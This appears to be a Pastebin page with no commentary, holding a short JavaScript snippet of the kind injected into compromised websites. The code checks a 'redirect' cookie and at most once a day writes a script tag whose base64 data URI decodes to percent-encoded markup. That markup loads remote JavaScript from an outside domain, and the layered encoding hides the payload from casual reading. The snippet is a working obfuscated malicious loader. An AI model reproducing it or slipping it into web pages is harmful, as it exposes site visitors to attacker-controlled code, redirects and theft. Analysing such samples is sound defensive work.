MertcanGokgoz

Untitled

Jan 4th, 2021
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.85 KB | None | 0 0
  1. function getCookie(e) {
  2. var U = document.cookie.match(new RegExp("(?:^|; )" + e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
  3. return U ? decodeURIComponent(U[1]) : void 0
  4. }
  5. var src = "data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",
  6. now = Math.floor(Date.now() / 1e3),
  7. cookie = getCookie("redirect");
  8. if (now >= (time = cookie) || void 0 === time) {
  9. var time = Math.floor(Date.now() / 1e3 + 86400),
  10. date = new Date((new Date).getTime() + 86400);
  11. document.cookie = "redirect=" + time + "; path=/; expires=" + date.toGMTString(), document.write('<script src="' + src + '"><\/script>')
  12. }
Add Comment
Please, Sign In to add comment